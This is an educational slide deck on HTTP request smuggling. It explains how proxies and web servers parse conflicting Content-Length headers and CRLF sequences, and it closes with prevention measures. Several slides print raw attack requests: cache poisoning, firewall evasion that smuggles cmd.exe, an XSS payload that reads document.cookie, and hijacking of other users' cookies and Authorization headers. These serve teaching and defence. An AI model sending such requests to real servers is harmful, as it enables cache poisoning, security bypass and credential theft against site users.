HTTP request smuggling involves sending malformed HTTP requests to exploit vulnerabilities in how devices handle requests. This allows an attacker to smuggle a request to one device without the other being aware. Key techniques include using multiple content-length headers, GET requests with content-length, and CRLF tricks to treat multiple requests as one. Prevention focuses on firewalls, terminating sessions after each request, disabling caching, and enforcing strict HTTP parsing.

1. HTTP REQUEST SMUGGLING
APIJAY KUMAR
ABHISHEK SHETTY
RAHUL KADLE
1

2. Overview of HTTP Request Smuggling
• A result of a device failure to properly handle deformed
inbound HTTP requests
• Attacker sends multiple special HTTP requests that cause
the two attacked entities to see two different sets of
requests.
• Allows the hacker to smuggle a request to one device
without the other device being aware of it.
• HRS does not require the existence of an application
vulnerability.
2

3. Threats
• Financial loss result of web site deforming.
• Steal user credential using cross site scripting
• Warm attack like Nimda by attacking web filter
firewalls.
3

4. Basic Concept
4

5. Terminology
• HTTP header
• Web proxy (e.g:Squid, ISA server 200)
• Web server (e.g:Tomcat,IIS,Apache,Weblogic)
5

6. HTTP header
6

7. Web proxy
• Examples: Squid, ISA server 2000
• Acts as an intermediary for requests
from clients seeking resources or services
from other servers
• Resources like file, connection, web page
• Services like request to web server, done to
simplify and control complexity
7

8. Web server
• HTTP server or application server
• Is a program that serves content using
the HTTP protocol
• Example: Tomcat, IIS, Apache, Weblogic
8

9. History Of HTTP SMUGGLING
• Microsoft Internet Explorer versions 5.01 SP4 and
prior, 6.0 SP2 and 7.0 had input validation error
• Sun java proxy 3.x, 4.x and Sun one app server 7.x,
8.x easily lead to web cache poisoning because of
non-standard HTTP behavior.
• Oracle’s corrupt cache server led to the inability of
the firewall to detect malicious requests
9

10. Basic concept
10

11. Scenario 1
• An attacker can launch a smuggling attack in
order to poison the cache server.
• Attacker an change the entries in the cache, so
that an existing page A would be cached
under URL B.
• This type of attack is on the cache server.
11

12. Scenario 2
• Smuggling bypasses the firewall installed
before the web server.
• Directly compromises web security.
• This attack is in the web server itself.
12

13. Scenario 3
• Use of proxy server that shares TCP
connection with web server.
• Attacker steals client credentials without
contact.
• Potentially strong attack.
13

14. Setting 3 continued….
14

15. Types of Attacks
• Cross-Site Scripting (XSS)
• Web Cache Poisoning (defacement)
• Cross User attacks
• Hijacking pages with user-specific information
• Browser cache poisoning
15

16. Cross-site Scripting
• Injects client-side malicious code
• Folds malicious content into content delivered
from a compromised site
• Special case of code injection
• Examples
16

17. Cross-site Scripting
17

18. Cache Poisoning
• Find vulnerable code
• Flush out cache server actual content
• Send special request which gets stored
• The response to any client request will be the
infected content
18

19. Cache Poisoning
19

20. Cross User Attacks
• Single request to create 2 responses
• Second response mis-interpreted as response
to different query
• May be other user sharing same TCP
connection
• Mimic behaviour and obtain private info
20

21. Cross User attacks
21

22. Hijacking pages with user-specific
information
22

23. Example with code
23

24. Web Cache Poisoning(header)
1 POST http://SITE/foobar.html HTTP/1.1
2 Host: SITE
3 Connection: Keep-Alive
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 0
6 Content-Length: 44
7 [CRLF]
8 GET /poison.html HTTP/1.1
9 Host: SITE
10 Bla: [space after the "Bla:", but no CRLF]
11 GET http://SITE/page_to_poison.html HTTP/1.1
12 Host: SITE
13 Connection: Keep-Alive
14 [CRLF]
24

25. Web Cache Poisoning(Cache Server)
• Cache Server reads LAST CONTENT HEADER
• Web Server reads FIRST CONTENT HEADER
25

26. FIREWALL/IPS/IDS EVASION
1 POST /page.asp HTTP/1.1
2 Host: chaim3 Connection: Keep-Alive
4 Content-Length: 49223
5 [CRLF]
6 zzz...zzz ["z" x 49152]
7 POST /page.asp HTTP/1.0
8 Connection: Keep-Alive
9 Content-Length: 30
10 [CRLF]
11 POST /page.asp HTTP/1.0
12 Bla: [space after the "Bla:", but no CRLF]
13 POST /page.asp?cmd.exe HTTP/1.0
14 Connection: Keep-Alive
15 [CRLF]
26

27. FIREWALL Parsing
• Firewall reads the request with header length
49,223 bytes. line 6 (49,152 copies of "z") and
lines 7-10 (in salmon, total of 71 bytes) as its
body (49,152+71=49,223)
• Then continues to parse the second request at
line 11 and treats Line 13 till last as part of Bla
27

28. Overall Result
• CMD.EXE gets smuggled
• Popular Nimda and code red attack
28

29. REQUEST HIJACKING
1 POST /some_script.jsp HTTP/1.0
2 Connection: Keep-Alive
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 9
5 Content-Length: 204
6
7 this=thatPOST /vuln_page.jsp HTTP/1.0
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 95
10
11
param1=value1&data=<script>alert("stealing%20your%20data:"%2bdo
cument.cookie)</script>&foobar=
29

30. ISA server 2000(cache server)/Tomcat
Parsing
• Microsoft ISA/2000 proxy server as a single POST
request
• Tomcat would interpret it as one complete HTTP
POST(lines 1-7, including “this=that” on line 7)
• And one incomplete POST request, whose
declared body length is 95 bytes, but with only 94
bytes provided (lines 7-11) and is queued
• The first (complete) request invokes a response
(which is sent by ISA to the attacker).
30

31. Attackers Request
• When ISA now receives a request from a client (e.g., a GET
request), that request is forwarded to Tomcat,
• Request:
POST /vuln_page.jsp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
• Below is glued
param1=value1&data=<script>alert("stealing%20your
%20data:"%2bdocument.cookie)</script>&foobar=G
• Notice that the client will receive an HTML page with
malicious Javascript code in it:
<script>alert("stealing your
data:"+document.cookie)</script>
31

32. REQUEST CREDENTIAL
HIJACKING(THROUGH A PROXY SERVER)
The attack is as follows:
1. POST /some_script.jsp HTTP/1.0
2. Connection: Keep-Alive
3. Content-Type: application/x-www-form-urlencoded
4. Content-Length: 9
5. Content-Length: 142
6. this=thatGET
/some_page.jsp?param1=value1&param2=value2
HTTP/1.0
7. Content-Type: application/x-www-form-urlencoded
8. Content-Length: 0
9. Foobar:
32

33. REQUEST CREDENTIAL
HIJACKING(THROUGH A PROXY SERVER)
When the client sends a request, such as:
1. GET /mypage.jsp HTTP/1.0
2. Cookie: my_id=1234567
3. Authorization: Basic ugwerwguwygruwy
Tomcat will glue this to the queued incomplete request, and together,
it will have:
1. GET /some_page.jsp?param1=value1&param2=value2 HTTP/1.0
2. Content-Type: application/x-www-form-urlencoded
3. Content-Length: 0
4. Foobar: GET /mypage.jsp HTTP/1.0
• Cookie: my_id=1234567
• Authorization: Basic ugwerwguwygruwy
33

34. HRS TECHNIQUES
34

35. Double Content-Length header
• The cache server uses the last Content-Length header,
while the web server uses the first Content-Length header
(examples #1and #4).
• The following cache servers were observed to use the last
Content-Length header:
Microsoft ISA/2000
Sun Microsystems SunONE 3.6 SP4
• The following web servers were observed to use the first
Content-Length header:
Jakarta Tomcat 5.0.19 (Coyote/1.1)
Tomcat 4.1.24 (Coyote/1.0)
Sun Microsystems SunONE web server 6.1 SP1
35

36. GET Request with Content-Length
(backward smuggling)
• The web servers that display this behavior are:
Microsoft IIS/6.0
Jakarta Tomcat 5.0.19 (Coyote/1.1),
Tomcat 4.1.24 (Coyote/1.0)
Sun Microsystems SunONE web server 6.1 SP1
• Sample Attack:
1 GET http://SITE/static_foobar.html HTTP/1.1
2 Connection: Keep-Alive
3 Host: SITE
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 40
6
7 GET http://SITE/page_to_poison.html HTTP/1.1
8 Foo: GET /poison.html HTTP/1.0
9
36

37. CRLF SP CRLF trick
• Entities that treat CRLF SP CRLF as a continuation of the previous
header::
Checkpoint FW-1 kernel R55W beta
Squid (under some conditions)
Tomcat 4.1.24 (Coyote/1.0)
Sun Microsystems SunONE web server 6.1 SP1
• Web servers that treat CRLF SP CRLF as an end of headers mark:
Microsoft IIS/5.0
Sample Attack:
1 POST /dynamic_foobar.asp HTTP/1.0
2 Connection: Keep-Alive
3 Content-Type: application/x-www-form-urlencoded
4 [SP]
5 GET /malicious_url HTTP/1.0
6
37

38. CRLF SP CRLF trick
Sample Attack:
1 POST /dynamic_foobar.asp HTTP/1.0
2 Connection: Keep-Alive
3 Content-Type: application/x-www-form-urlencoded
4 [SP]
5 GET /malicious_url HTTP/1.0
6
1. FW-1 will send lines 1-6 to the web server (IIS/5.0)
2. IIS/5.0 will interpret this input as two requests
38

39. Prevention
• Install web application firewall which protects
against the HRS attacks.
• Terminate the client session after each session
• Turn all pages to non-cacheable
• Deploy web server which follows strict HTTP
parsing procedure.
• Allow only SSL communication from client to
server.
• Turn off TCP connection sharing on the
intermediate devices.
39

40. Conclusion
• Commonly Ignored because of its
complications.
• Difficult to detect in logs.
• Poison proxy caches, pilfer credentials and
leverage XSS without involving client
40

41. 41